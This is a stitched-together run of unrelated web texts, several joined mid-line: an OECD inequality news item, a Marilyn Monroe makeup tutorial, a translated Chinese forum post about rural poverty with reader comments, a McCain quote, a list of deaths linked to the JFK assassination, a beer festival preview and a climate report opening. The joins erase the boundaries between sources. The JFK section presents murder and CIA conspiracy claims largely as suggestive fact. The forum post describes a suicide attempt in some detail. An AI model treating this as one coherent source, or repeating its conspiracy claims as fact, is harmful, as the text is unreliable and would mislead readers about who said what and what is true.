Liberal Democrat work and pensions spokeswoman Jenny Willott said: "This government can take no pride in the fact that social mobility has not improved in the last 10 years or that the wage gap has increased between rich and poor. Pensioner and child poverty have both increased since 2005, a period this report does not cover. It is shameful that Labour's policies to tackle social mobility and poverty have completely stalled since 2005."
The latest findings run contrary to an Institute for Fiscal Studies report in January that found that "income inequality is currently at its highest levels since the late 1940s". According to the OECD's findings, inequality remains higher in the UK than in Germany, France, Belgium, the Netherlands and Scandinavian countries. The gap between rich and poor has grown in more than three-quarters of OECD countries over the past two decades.
Speaking at the report's presentation, Oxford University economist Anthony Atkinson said growing global inequality posed a new challenge to governments in a time of recession.
"What will happen if the next decade is not one of world growth?" he said. "With governments around the globe announcing trillions of dollars in rescue financing to shore up banks, I think that citizens of OECD countries are going to expect that if you can find funds to rescue banks, then governments can fund an effective unemployment insurance scheme, and they can fund employment subsidies".
Angel Gurria, the OECD secretary general, warned: "Growing inequality is divisive. It polarises societies, it divides regions within countries, and it carves up the world between rich and poor. Greater income inequality stifles upward mobility between generations, making it harder for talented and hard-working people to get the rewards they deserve.
"Ignoring increasing inequality is not an option."Although its very difficult to get all the exact details as her make-up artist never betrayed her secrets, it's fun to talk about the different tricks and details of Marilyn's look. In this video Marilyn had lots of different looks and was pretty natural off camera but this video concentrates on the very glamorous look she had for her movies and poster shoots from 1953 through to the end of the 50's. Lots of the tricks were geared towards the lighting, film and cameras of the time... Hope you enjoy it!
First you’ll need a good moisturiser or primer to suit your skin type. Ideally one that leaves your skin with a dewy sheen (unless you have oily skin in which case use oil free without a dewy finish). Marilyn liked Vaseline, Nivea and Erno Laszlo.
Next apply a medium coverage, fresh finish foundation (so nothing too chalky or matte). I used Suqqu Cream Foundation applied using a By Terry Foundation Brush in the video.
Conceal as needed and, if you have oily skin, apply a light dusting of sheer powder.
Apply a white/beige cream shadow without shimmer all over the eyelid. I use Bobbi Browns Glacier (Bone would be better for darker skintones) but you could also use a MAC Paintpot. If you don’t have any cream eyeshadows, use a matte powder eyeshadow in a similar shade.
Apply a white shimmery powdered eyeshadow all over the lid concentrating on the lid, brow bone and inner corner. Any brand is fine.
Give eye lashes a good curl - I use Shu Uemura in the video.
Add a good coat of any mascara to top lashes - I’m using Lancome's Doll Eyes.
Apply a set of specially made ‘half lashes’ or cut an existing full set in half leaving the longer end intact. Apply to outer half of top lashes. See my ‘applying fake lashes’ video for advice on application.
A brown pencil or gel (for modern day formula) is used next to trace a thin line along the top lashline, winging it up and out at the end. I use Bobbi Brown Gel Liner in Sepia Ink.
Take any cool taupey shade (to suit your skin tone) and buff the shade into the outer third of the socket line to create depth. I used a Mac 217 brush to do this.
Next, using the same shade of eyeshadow or a soft pencil draw a fake ‘upper lash shadow’ (as shown in the video) and then blend it well with either a brush or a cotton bud/Q-Tip. I used Suqqu Eyeshadow brushes.
Add a touch of mascara to lower lashes.
Using either a cream or powder contour start contouring your face. The exact method will be different for everyone as its dependent on your face shape but aim for a heart shaped look with wide forehead, high cheekbones and smaller chin/jaw line effect.
Highlight your face using either a lighter cream foundation, cream or powder highlighter, shimmey or flesh toned pale powder shadow and apply to the front of the cheeks at the side of the nose, high onto the cheekbones, down the centre of the nose, top of the lip and centre of the forehead. Again be lead by what suits your face shape and skin type.
Apply a bright corally pink blusher as shown in the video. I used the Horizon Blush De Chanel along the cheek bones and up onto the temples to sculpt.
Shape lips as shown using a true bluish red lip pencil with high pigment. I’m using Mac Lip Pencil in Cherry. How you do the lips depends on how long you want to spend and how many red lipsticks you own! In the video I use Mac Ruby Woo, Mac Lady Danger and Guerlain Kiss Kiss Insolence De Rouge.
Apply a touch of shimmer powder to the centre of the lower lip and finish with a coat of lip gloss.
If you want to learn more about the history of makeup, have a look at my FacePaint page here XOn September 6, a poster named 我是农家女(“I Am A Peasant Girl”) posted on Sina: “Late 70s Peasant Girl’s hopeless survival, would rather be a mistress than marry a poor person.”
I know that after seeing this topic, you will all scold me, but may those who have the energy to scold me please carefully finish reading the content below, then consider if I should be scolded.
I was born in a remote hamlet in the north of China. I have heard from someone, who never been to the genuine villages, that the countryside is very nice. But in fact, no public road was built and the nearest bus stop is 20 kilometres away, so we always had to walk on foot or ride a bicycle to get out of the village. The street in the village was made of soil and was not flat. On a sunny day, wind with sound and soil blew you. On a rainy day, rain with the mud poured you. The mud on the road was added with shit from animals raised by villagers, because animals always shit on the road but not in their own country yard to keep it tidy and clean. No fresh vegetables were supplied to the villagers in the whole year because only radishes and cabbage were planted there. It also had sweet potato, if that is a vegetable. So, as dishes, what they could have were only salted radishes and cabbage. Some may ask, why did we not fry? The truth was that there was not much cooking oil for frying because of poverty, so fried dishes were always rare for them except in the case of Spring Festival or when some relatives come for dinner. I remember I had my first “you tiao” [a fried bread stick] in the dining hall at my university. And health care was not ensured either. Take my grandpa for example, he couldn’t help but wait for death once he fell sick. After he was sent to the hospital ran by the State, they refused to diagnose my grandpa even though we knelt down begging them to cure him. The reason was simply because we did not have 2 yuan for medicine. We could do nothing but see my grandpa die in the hospital. Some may say that the countryside is developing these days. But the truth is that there has been almost no change for my village since I was born. I really cannot say whether change will happen or not in my life.
I was born at the end of the 1970s. We had 5 children, including me, 3 sisters and 1 brother. Some people may wonder why my mother had so many children if my family was so poor? These people may not understand China clearly. These days, only really poor people or rich people can have more than one child, and we belonged to the poor group. In the countryside, in my opinion, there are 2 reasons for having more children. First, no entertainment in the countryside. So after working in the daylight, sometimes having sex on the “kang” (bed made by soil and brick) at night may be the only amusing thing for them. Although they did not want more children, no one told them effective means of contraception. I saw with my own eyes that my mother wanted to abort using tied rope or eating tobacco ash for contraception. The second reason was the traditional concept and environment of the countryside. There must be a man in every home because working in the countryside is so hard that only men can deal with them, so people in the countryside always held the concept that birthing a boy in every generation is necessary for the continuance of the family. If you could not give birth to a boy, you would be looked down upon. Before my brother was born, my mother was always looked down upon by my family members, I was always hit by other children and had the nickname of ‘jue-hu-guo,” meaning “no boy no generation continuance.”
The goodness of the farm is not what you think because of the poor and narrow opinions of countryside life. At that time, there were several children in every family, and every child struggled for subsistence without caring for others. I remembered that when I was 5 years old, my parents had gone to work farming, I took care of my sister at home, and one of my neighbours came to borrow a kitchen knife but also secretly stole a dinner pan. After my parents came back, they found the pan missing, so they went to that neighbour, but failed to get the pan back because my neighbour refused to acknowledge that he took the pan away. The result of this was that I was beat fiercely by my parents and we cooked without the pan for a long period.
And another time when I was 9 years old, I saw a sister-in-law in my village stealing the cotton from my uncle’s field, then she was caught by my uncle and warned that he would show villagers what she did. In order to prevent this, she promised that she could have sex with my uncle if my uncle would set her free. Then my uncle had sex with her in the field. I did not know what they did when I was 9 years old, but after I realized the meaning of what happened, it made me feel sick every time I thought of it. But, in the end, what they did was discovered and spread in my village. My uncle probably told some people, but that sister-in-law thought I had told my mother and that my mother spread it to the villagers, so she came to the gate of my home and scolded for several days. After that, I was beat by her on my way home and she hurt my mouth. When my mother asked what happened with my mouth, I lied that I was not careful and had a fall. I did not think to tell them the truth because I was afraid that my mother would go quarrel with her and cause a bigger conflict. I knew that, at that time, it was difficult for my mother to raise us. In brief, there are good people and bad people anywhere, and farmers are not synonymous with goodness either.
I was the first and only female undergraduate in my village. As a girl, it was a miracle that I could get into university from a place where boys could not always get an education. My father made all of this come true. My father is a veteran, his outside experiences led him to send me to be educated. His original intention was that I could read the characters and distinguish the toilet. At that time, we had to go to the school approximately 10 kilometres away. There were dozens of children for primary school, but after graduating from primary school, I was the only one that persisted with studying.
I had 2 reasons for that, one was that I had worked so hard. I always represented my school to compete with others from primary school to middle school, so my father might get the hope of getting out of the countryside through my excellent performance. Second reason was that when I was in school, I could do some work made of grass at the same time. We called it “cao-bian,” which can be used for the straw making. In that period, a “cao-bian” could sell for 0.2 yuan, and I could knit 5. I never did my homework or notes in class, I earned money when I was at school. This is another reason that I could continue my education. But my 3 other sisters paid the price by dropping their studies for my continued education. My youngest sister went to the brick plant with my father to carry bricks, my thin and weak father pulled the handcart and she assisted him by pushing it. They had to carry the brick to the place 2 kilometres away, and the whole process only could earn them 0.2 yuan.
Then I went to middle school. I lived at school and far away from home, so I stopped knitting the “cao-bian.” I was always the youngest student, because I had skipped several grades. I was also mature for my age because I knew that it is very difficult to get an education, and if I could get out of school early, I could start earning money earlier. So I got into campus at the age of 16.
I chose to go to university because of the existing financial support from the government for students in campus. If you could get a high score, you could pay less for your education. I could get 40 yuan to 60 yuan for living expenses every month. I spent nearly 600 yuan when I got into university. A fat pig my father had been raising for a long time was sold for this 600 yuan. If it was like the present standards, it would have been impossible for me to continue my campus life at that time. Although I got 50 yuan every month, I could save 20 yuan to post back for my family. I ate very simply every day, I never bought clothes and wore the uniform every day. I never used makeup either. The campus life made me realize how degrading being poor was. I had no friends on campus, first because I was younger and did not have similar topics with my dorm-mates. We rarely had a chance to chat with each other because I always came back to the dorm late after working to earn money to live. So, it might be unbelievable to you that I did not recognize all my classmates completely in 4 years’ studying, but this is the truth. They were enjoying their lives on campus but I was making a living. Second reason was the different experience of growing up. At that time, usually only those whose families were well-off could get into university, so my classmates could not understand my life and also looked down upon my dress. I remembered that a mother of my classmates even demanded to adjust the dorm for her daughter, since she thought her baby daughter could not live with a little beggar like me. In fact, my clothes were not dirty, they were tidy and neat but old. I had a strong capacity for self-care, I knew how to dress up myself and clean my clothes, but I was so poor that I could not buy new ones. What I wore was usually given by my relatives. And if it was unsuitable for me, I would pitch it and post back home for sisters. Some clothes had to be re-seamed for others, such as underwear, if it became old. I was good at sewing and I even sewed a beautiful skirt for my sister out of a sheet thrown out by my classmate. The fine working made those who ever looked upon me all supposed that it was as same as the one they bought.
The governmental policy changed when I graduated from university scarcely. They would not take responsibility for the jobs of graduates who had to find jobs by themselves. It was impossible for me to go back to my home town, first reason was that I was no longer suitable for the life of the countryside, another one was that I would be a negative example for the villagers: 4 years’ learning in city resulted in nothing but going back home. This would be their excuse to persuad their children to drop learning. I had to live in the city, and it was impossible for me, not like others, to find a suitable job slowly. I had to find a job that could offer me dinner and a place to live, since I had no money in my pocket and I mustn’t ask for money from my family either, I had to earn money by myself. In order to earn money, I changed several jobs and cities. My mother needed money for medicine, my brother needed money for learning and my sister needed money for skill learning. But, I found what I earned was not enough and was not very much, even thought I was very thrifty.
My brother’s high tuition fees of 10 thousand yuan scared me and my family extraordinarily. We could not get the certificate of loan because the village head did not want to attest to our poverty. Only those who were orphans or only had a single parent without self-reliance could get the certificate, but my family did not belong to those categories because I had graduated from university and had a job to earn money. In fact, the reason of this was so simple. The village head envied 2 undergraduates in my family and he deliberately wanted to make it difficult for my family because he was always the king of the village. I could not borrow money from my neighbours firstly because they were so poor too, second because they were not fervent and kind-hearted in that kind of environment. If you were poorer than your neighbours or relatives, they would look down upon you because they were afraid that you would come to borrow money; but if you were rich, they would come to please you for benefits from you. My family was poor because of the high tuition fees of my brother. Guys without education went out to work for construction and earned some money, and if it was busy in the village, they could come back for busy season. But I and my brother could do nothing after graduating from university because we had not enough power to do some works in the countryside.
After that, I followed my father to the university where my brother was studying and brought some presents to seek help from the vice-chancellor. He promised us to let us pay the tuition fees by stages. However, the money was not enough either. At that time, I feel how difficult a person subsisted, I even thought of suicide. I just wanted to study hard to find a good job and earn money for my family before, but in fact, a girl from the village, without good-looks and English skills (in schools of villages, English was not a course), trying to find a good job was so difficult. I was not willing to indulge myself, so I felt everything was meaningless without aims. The idea of suicide always emerged in my brain, but if you wanted to die, you had to choose some way that benefited yourself. In order to get enough money for my brother and my family, I could sacrifice my life. Finally, being hit by a car was my choice. In a tangled street, I found an expensive car to collide with, I also put my ID in pocket, if this would come true, my family would get some compensation from the owner of the expensive car who would never care about it. This idea, however, was so impudent, I did really. When I went to collide with the car, the driver stopped his car quickly without injuring me. Instead of dying after being hit by a car, I was beaten damnably by him. But after his angry hitting, he took me to the hospital. What I said may be beyond someone, but everything I have described is the truth, I described the whole story so simply, but this is the truth and most valuable memory in my life. The driver sent me to the hospital and asked me if I wanted to die. I nodded my head and told him my story, then he gave me five thousands yuan and left. This was the man I met who helped me the most, I did not know what his name was or what he did, but I always wanted to find him to thank him. But before I found him, he was detained by police for drug trade. I got his name after the police came to find me when investigating him, and the name I will remember for my whole life. Please do not suspect the truth of this story, though I may not have described everything very well. After the case was published on the local newspaper I knew he got life imprisonment, and I remembered the police that investigated me. Then I went to jail to find him, I got nothing but was conned 100yuan by the police who were working in the jail. Up to now, I did not know the place where he was kept.
I am in Shanghai now, I came here because I heard the salaries here are high. But as a girl who is from the countryside, nearly at the age of 30 and without English skills, finding a job with high salary is almost impossible. Even as an officer in a company, the salary was only 1800 yuan without bonus. I share a rented apartment with others and have to pay 600 yuan every month for it. I also had to post 800 yuan to my family and that left me 400 yuan for my daily life, including dinner, traffic and others expenses. In order to save money, I always have one meal a day. The most terrible thing for me is being sick. Once I had fallen sick, not only did I lose my salary, I also failed to pay the rent and medicine cost. The medicine cost in Shanghai is high. I fainted and was sent to the hospital because of malnutrition. After I got to the hospital, I woke up and the doctors said I was OK. But doctors checked me a lot and gave me a bill of more than 1000 yuan. It really was a dreadful bill for me. Now, I lost my job because of China national identity card. I was fired during the Olympic Games period because I got my national identity card when I was in school and now it is expired. I even went back to my village to keep my hukou, but they refused me for the reason that my hukou did not belong there because of my education. Then, I went to the town for that, but I got nothing either. So I just have the hukou booklet which cost me 200 yuan. Without a job, my financial resources will be cut off and I may be evicted by my landlord since I cannot pay the rent, and I may die of hunger. Before my death, I summarize my miserable life was just because of poverty.
I rented an apartment with 3 other girls when I first came to Shanghai. But we have completely different lives after several years. One of us has become a concubine to a man from Hong Kong. She lives in a top house, wears famous brands, has expensive dinners, and she gets spending money of 10,000 yuan per month. Another one went on the streets in the night clubs. She will not worry about her bread and cheese, however, being a prostitute is always disgusting. The third one married a guy from the countryside, they worked hard together and earn 5000 yuan a month. Although they have to rent an apartment, they feel happy. Their biggest dream is to earn enough money to buy a house in their hometown. It is just a dream to buy a house in Shanghai for them. But now, her husband is ill and was fired by his company. He is recuperating at home now. There are no safeguards for people who do not belong to this city so she has to pay the rent, water and gas fee. She also has to spend money for her husband’s medicine with her little salary. Working during the day, washing and making dinner at evening, the difficult life changed her a lot. They do not dare to have a baby because they can not afford the cost of raising a baby. It is so hard for her but her husband’s mother always asks for money, because it was very difficult for his family to help her husband graduate from university, so they need her to return what they have paid for that. This girl once told me that if you want to marry, you had better not marry a poor man, because 2 poor people will only get a poorer life, so you should marry a man who has an apartment and you would not have to fear eviction at any time. I am not a concubine because I have no chance to be. But if someone wants me, I think I will be a concubine for him. What I ask for is not so high, I just want to find a place to live and have every meal. I think this is better than a prostitute.
Comments from Sina:
legend张:
Terrible fate. However, being open-minded, if you want to be a concubine, you still need to find a good man.
chutianpeng1:
Were all concubines and mistresses forced by reality to be what they are? If they were really forced to be helpless, then perhaps they deserve some sympathy; otherwise if your life has not been forced to that level, just lead a normal life!
老头 (lao tou):
After reading your experience, I feel very bad, I also am similar to you, but I am very willing to help you, please contact me after reading this message, QQ351720201.
缘思梦境 (yuan si meng jing):
Ai! This is just how society is these days, without money you are nothing, with money you are part of the elites. Good luck! I will always support you.
一杯咖啡半包烟 (yi bei ka fe ban bao yan):
You have also been scared by poverty. To be honest, who is willing to be a concubine/mistress?
济南浪溪河 (jin an lang xi he):
Life really is hopeless sometimes, I can understand your suffering, hope you can stay strong, strong, and more strong.
tgrwf1:
To tell the truth, you writing this kind of hing as a Chinese university graduate is embarrassing to Chinese university graduates.
Second, according to when you said you were born and when you went to university, you should have graduated before 2000. At that time, the number of university graduates were not many, and many could participate in exams for local government positions. Those test subjects should not have been difficult for a humanities student, so why did you not participate in this kind of test?
You so-called university student makes people suspicious.
xxx2608:
A female university graduate, and you are afraid of dying of hunger? My child suffers from congenital immunodeficiency disease, cannot be cured, must depend on injected immunoglobulin his whole life, an injection once every four week, each injection needs 3 immunoglobulin, each 400 yuan, the dosage increasing with his age and weight. We are from the countryside, without any insurance, we are the truly helpless!
霜冷青河 (shuang leng qing he):
Those who are criticizing the poster have never personally experienced what she has gone through. I completely understand and completely sympathize with the lou zhu’s circumstances. Lou zhu, if you are free we can talk, I will risk my life to help you once.
到底是鬼装的人 (dao di shi gui zhuang de ren):
All I want to say is, at the time when you first got into university, China did not yet have many university students, right? If so, finding a job simply was effortless. (For example, according to your educational qualifications) Why can you not support yourself? This is obviously a problem with your ability, you cannot blame others or society!
吾苯善良 (wu ben shan liang):
Poverty chills ambition, are you even willing to accept a wealthy but uncharitable man who keeps mistresses?
If you cannot solve the problem of survival–go be a concubine or mistress–if you cannot solve the problem of dignity–what is the point of surviving?
A person who is ignorant can only be happy! But you have knowledge, can you be happy selling your dignity?
Look before you leap.
barry:
I support you, you have integrity. As a 80s generation university student, I profoundly know that this society requires us to have academic qualifications and skills, so I resigned from a stable job in a state owned enterprise. A person who does not think about the future will have problems with the present. Even though I am very poor right now, I have several opportunities to choose from, because I work very hard, spending almost 15 hours every day learning, so I am full of confidence for my future. No matter what, do not give up hope.
青砖客 (qing zhuan ke):
A lot of writing.
I can relate to your emotions. This world may indeed be this brutal.
We have a teacher who once said: The poor will get poorer, the rich will get richer.
So if lou zhu really has no other choice, and has thought to go become a prostitute, then it can be considered a choice of last resort.
danzhu12:
What is a university diploma worth? Do not think that going to college will automatically result in a good job! In reality, this diploma only gives you a foundation/platform. How high you can jump, how far, depends on your own ability and diligence. Of course, your family background and luck are also important. Today’s university students, actually not just university students, even the children of peasant families who have never gone to college, are all already different from those 20 years ago, with less down to earth, less able to bear headships, etc. character. But these are exactly what is needed to enter society and what is needed to be successful (except for those with advantageous family backgrounds)!
diaochayuan2008:
My wife is from the countryside, her family is very poor, and up to now her old father of over 60-years-old must work, her mother manages the farm at home, everyday eating vegetables (no meat). She is not very pretty, but has a lot of will, studied hard, got a scholarship. I was attracted to this, to her getting a good diploma and then finding a good job. Marrying her, I am very satisfied.
If you are so afraid of being poor that you can throw away everything and use supporting the family as an excuse to go become a concubine/mistress, then go, and see what the result is. I can tell you a precedent: getting rid of all previous concubines/mistresses, being gotten rid of, made a toy, no dignity, you may not fear not having food or clothes but you can only feed yourself, or even having to find for your your own food or clothes, or reversed the man uses the money you earn.
lyf_0103:
The essence of man is an animal with thoughts.
Living is to do something meaningful, not to covet a life of pleasure.
Lou zhu cannot find a job, the feeling of being unemployed I can understand.
But you must live with integrity. This way an employer will accept you. If you lose your dignity, who will employ you? Ask yourself, who would date employ you?
The Sina topic has so far been viewed over 1.5 million times with almost 5,000 comments, and has been reposted on other BBS forums like Sohu.
An update to this post can be found here: CCTV Investigates Peasant Girl’s BBS Forum Post
See also:
Note: These images are not related to the above story, poster, or comments. They are from a series of pictures titled on QQ News in 2007 called “The real lives of the poor people’s children.”"Oh, sure,'' Mr. McCain said. " I mean, I don't dwell on it. But, look, I've a wonderful life. I have to go back and live in Arizona, be in the United States Senate representing them, a wonderful family, daughters and sons that I'm so proud of and a life that's been blessed. I'm the luckiest guy you have ever interviewed and will ever interview. I'm the most fortunate man on earth and I thank God for it every single day.''
"So if the world turns an unfortunate way on November 4th, don't feel sorry for John McCain?" Mr. Wallace asked.
"Don't feel sorry for John McCain and John McCain will be concentrating on not feeling sorry for himself,'' Mr. McCain said.
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The first person to die linked to the case was Karyn Kupcinet. In his book, Forgive My Grief, W. Penn Jones reports that "a few days before the assassination, Karyn Kupcinet, 23, was trying to place a long distance telephone call from the Los Angeles area. According to reports, the long distance operator heard Miss Kupcinet scream into the telephone that President Kennedy was going to be killed." Karyn's body was discovered on 30th November, 1963. Police estimated that she had been dead for two days. The New York Times reported that she had been strangled. Her actor boyfriend, Andrew Prine was the main suspect but he was never charged with the murder and the crime remains unsolved. Some researchers claimed that there was a link between the death of Kupcinet and the assassination of John F. Kennedy. It was argued that the conspirators were trying to frighten off her father and journalist, Irv Kupcinet from telling what he knew.
Grant Stockdale Grant Stockdale, a close friend of John F. Kennedy died on 2nd December, 1963 when he fell (or was pushed) from his office on the thirteenth story of the Dupont Building in Miami. Stockdale did not leave a suicide note but his friend, George Smathers, claimed that he had become depressed as a result of the death of the president. However, it later became known that four days after the assassination Stockdale flew to Washington and talked with Robert Kennedy and Edward Kennedy. On his return Stockdale told several of his friends that "the world was closing in." On 1st December, he spoke to his attorney, William Frates who later recalled: "He started talking. It didn't make much sense. He said something about 'those guys' trying to get him. Then about the assassination."
Gary Underhill After the assassination of President Kennedy, Gary Underhill told his friend, Charlene Fitsimmons, that he was convinced that he had been killed by members of the CIA. He also said: "Oswald is a patsy. They set him up. It's too much. The bastards have done something outrageous. They've killed the President! I've been listening and hearing things. I couldn't believe they'd get away with it, but they did!" Underhill believed there was a connection between Executive Action, Fidel Castro and the death of John F. Kennedy: "They tried it in Cuba and they couldn't get away with it. Right after the Bay of Pigs. But Kennedy wouldn't let them do it. And now he'd gotten wind of this and he was really going to blow the whistle on them. And they killed him!" Gary Underhill told friends that he feared for his life: "I know who they are. That's the problem. They know I know. That's why I'm here. I can't stay in New York." Underhill was found dead on 8th May 1964. He had been shot in the head and it was officially ruled that he had committed suicide. However, in his book, Destiny Betrayed (1992), James DiEugenio claimed that the bullet entered the right-handed Underhill's head behind the left ear.
Hunter, Koethe & Howard There has been a significant number of people who have died who did appear to have important information about the case. This includes several journalists investigating the murder. On 24th November, 1963, Bill Hunter of the Long Beach Press Telegram and Jim Koethe of the Dallas Times Herald interviewed George Senator. Also there was the attorney Tom Howard. Earlier that day Senator and Howard had both visited Jack Ruby in jail. That evening Senator arranged for Koethe, Hunter and Howard to search Ruby's apartment. It is not known what the journalists found but on 23rd April 1964, Hunter was shot dead by Creighton Wiggins, a policeman in the pressroom of a Long Beach police station. Wiggins initially claimed that his gun fired when he dropped it and tried to pick it up. In court this was discovered that this was impossible and it was decided that Hunter had been murdered. Wiggins finally admitted he was playing a game of quick draw with his fellow officer. The other officer, Errol F. Greenleaf, testified he had his back turned when the shooting took place. In January 1965, both were convicted and sentenced to three years probation. Jim Koethe decided to write a book about the assassination of Kennedy. However, he died on 21st September, 1964. It seems that a man broke into his Dallas apartment and killed him by a karate chop to the throat. Tom Howard died of a heart-attack, aged 48, in March, 1965.
Mary Pinchot Meyer On 12th October, 1964, Mary Pinchot Meyer was shot dead as she walked along the Chesapeake and Ohio towpath in Georgetown. Henry Wiggins, a car mechanic, was working on a vehicle on Canal Road, when he heard a woman shout out: "Someone help me, someone help me". He then heard two gunshots. Wiggins ran to the edge of the wall overlooking the towpath. He later told police he saw "a black man in a light jacket, dark slacks, and a dark cap standing over the body of a white woman." Soon afterwards Raymond Crump, a black man, was found not far from the murder scene. He was arrested and charged with Mary's murder. The towpath and the river were searched but no murder weapon was ever found. The media did not report at the time that Mary Pinchot Meyer had been having an affair with John F. Kennedy. Nor did it reveal that her former husband, Cord Meyer, was a senior figure in CIA's covert operations. As a result, there was little public interest in the case. During the trial Wiggins was unable to identify Raymond Crump as the man standing over Meyer's body. The prosecution was also handicapped by the fact that the police had been unable to find the murder weapon at the scene of the crime. On 29th July, 1965, Crump was acquitted of murdering Mary Meyer. The case remains unsolved. In March, 1976, James Truitt gave an interview to the National Enquirer. Truitt told the newspaper that Mary Pinchot Meyer was having an affair with John F. Kennedy. He also claimed that Meyer had told his wife, Ann Truitt, that she was keeping an account of this relationship in her diary. Meyer asked Truitt to take possession of a private diary "if anything ever happened to me". Ann Truitt was living in Tokyo at the time of the murder. She phoned Ben Bradlee at his home and asked him if he had found the diary. Bradlee, who claimed he was unaware of his sister-in-law's affair with Kennedy, knew nothing about the diary. He later recalled what he did after Truitt's phone-call: "We didn't start looking until the next morning, when Tony and I walked around the corner a few blocks to Mary's house. It was locked, as we had expected, but when we got inside, we found Jim Angleton, and to our complete surprise he told us he, too, was looking for Mary's diary." James Angleton, CIA counterintelligence chief, admitted that he knew of Mary's relationship with John F. Kennedy and was searching her home looking for her diary and any letters that would reveal details of the affair. According to Ben Bradlee, it was Mary's sister, Antoinette Bradlee, who found the diary and letters a few days later. It was claimed that the diary was in a metal box in Mary's studio. The contents of the box were given to Angleton who claimed he burnt the diary. Angleton later admitted that Mary recorded in her diary that she had taken LSD with Kennedy before "they made love". Leo Damore claimed in an article that appeared in the New York Post that the reason Angleton and Bradlee were looking for the diary was that: "She (Meyer) had access to the highest levels. She was involved in illegal drug activity. What do you think it would do to the beatification of Kennedy if this woman said, 'It wasn't Camelot, it was Caligula's court'?" Damore also said that a figure close to the CIA had told him that Mary's death had been a professional "hit". There is another possible reason why both Angleton and Bradlee were searching for documents in Meyer's house. Were they looking for material that Meyer had been collecting on CIA's covert activities?
Desmond FitzGerald In 1963 Desmond FitzGerald was in charge of the CIA's Cuban Task Force. In this post he personally organized three different plots to assassinate Fidel Castro. According to Dick Russell, FitzGerald had a meeting in France with a Cuban code-named AM/LASH, finalising a plan to eliminate Castro, at the same time John F. Kennedy was assassinated. FitzGerald died of a heart attack while playing tennis in Virginia on 23rd July, 1967.
Lisa Howard Lisa Howard died at East Hampton, Long Island, on 4th July, 1965. It was officially reported that she had committed suicide. Apparently, she had taken one hundred phenobarbitols. It was claimed she was depressed as a result of losing her job and suffering a miscarriage. At first no one associated Howard's death with the Kennedy assassination. However, it has recently emerged that Howard was involved in secret negotiations with Fidel Castro on behalf of John F. Kennedy.
Winston Scott Winston Scott was the CIA's station chief in Mexico. Scott retired in 1969 and wrote a memoir about his time in the FBI, OSS and the CIA. He completed the manuscript, It Came To Late, and made plans to discuss the contents of the book with CIA director, Richard Helms, in Washington on 30th April, 1971. Four days before the agreed meeting Scott died of a heart attack. Michael Scott told Dick Russell that James Angleton took away his father's manuscript. Angleton also confiscated three large cartons of files including a tape-recording of the voice of Lee Harvey Oswald. Michael Scott was also told by a CIA source that his father had not died from natural causes. Scott eventually got his father's manuscript back from the CIA. However, 150 pages were missing. Chapters 13 to 16 were deleted in their entirety. In fact, everything about his life after 1947 had been removed on grounds of national security.
Kilgallen & Smith Dorothy Kilgallen, a crime reporter of the New York Journal, obtained a private interview with Jack Ruby. She told friends that she had information that would "break the case wide open". Aware of what had happened to Bill Hunter and Jim Koethe, she handed her interview notes to her friend Margaret Smith. On 8th November, 1965, Kilgallen, was found dead. It was reported she had committed suicide. Her friend, Margaret Smith, died two days later.
Bannister & Ferrie Two of the men that Jim Garrison believed were involved in the conspiracy to kill Kennedy, Guy Bannister (June, 1964), David Ferrie ( February, 1967) and Eladio del Valle (February, 1967) died before they could be brought to court.It’s been seven years since Juno Choi and Mark Opdahl hosted the first St. Paul Summer Beer Fest at Midway Stadium. This was before there were so many summer beer fest options in the Twin Cities. “There were other beer festivals, but we don't like ‘alco-pops' and didn't think they belonged at the type of beer festival we wanted to go to,” says Juno. “Also we feel beer tastes just a little better outside. So kicking off summer seemed like the right choice.”
Now an institution among beer fests in the Twin Cities, the annual event draws thousands of beer fanatics together to celebrate great beer while soaking up some vitamin D. The event starts at 1 PM for VIP (sold out) ticket holders and 2 PM for General Admission ($45) guests and will go till 6 PM.
The beer list looks great again this year, and features breweries from all over the country as well as some hometown favorites. “We are big proponents of drinking local and enjoying the fruits [or beers] of our community,” Juno explains. “That desire for exploring different beers and styles also goes with wanting to enjoy what other talented breweries are doing across the nation.” National breweries such as Sierra Nevada, Grand Teton, Deschutes, Brooklyn, Clown Shoes, Evil Twin, and many more will be pouring their brews inside the International Bazaar alongside some of the best breweries in Minnesota. Festgoers should expect to sample many of their flagship brews as well as some fun, summer styles such as Radlers, Session IPAs, and Gose.
Representing the local breweries will be Lyn-Lake, Steel Toe, Surly, Summit, Third Street, Waconia, Urban Growler, NorthGate, Lift Bridge, Indeed, Northbound Smokehouse, and more. Food trucks will also be present and will include Natedogs, Tot Boss, and more.
Here are some beers to seek out on Saturday:
Cognac Barrel Aged Unchained #16 Herkulean Woods from Summit Brewing - The original version of this came out last fall and was very unique in that it utilized local maple syrup and spruce tips from Iowa. This has been one of the best selections so far from the Unchained series and barrel aging can only add to the experience.
Idaho 7 from Sierra Nevada Brewing - The brewery from Chico has been experimenting with hops for years and this beer promises to reflect that tradition. An experimental hop, Idaho 7, is grown in western Idaho and is a part of their Harvest series.
Sideburns from Lyn-Lake Brewing - An Oatmeal Raisin Stout served on nitro. Not much else needs to be said. Expect a rich, creamy head and a chewy texture. Gimmicky? Maybe. Delicious? Likely!
Double Dawn from Lucette Brewing - This looks to be a double version of Shining Dawn; their Belgian Golden Ale. Expect some fruit and spice flavor from the yeast and a dry finish, which is always welcome on a warm day.
Dampf Loc from Local Option Bierwerker - A Dampf Beer-inspired concoction, which should be mild in terms of bitterness, yet sporting a beautiful amber hue. This style of beer came about like most others—by accident—originating in the bavarian forest. Those familiar with the California Common style will see the similarities between the two. The main differences are color and the fact that Dampf Beer is brewed with an ale yeast while California Common uses a lager yeast.
As always, remember to grab that sunscreen, drink plenty of water, and pack an umbrella just in case. After 7 years of experience, Choi says one thing is certain: “With over 100 breweries pouring, we know if you love to explore beer, you'll be smiling a lot.”
Cheers!On May 6, a team of more than 300 climate scientists and experts released the third U.S. National Climate Assessment, which reported, “Climate change, once considered an issue for a distant future, has moved firmly into the present.” The Obama administration had intended the Climate Assessment to underscore the urgency of new regulations to curtail greenhouse-gas emissions from power plants, which it will unveil next month.
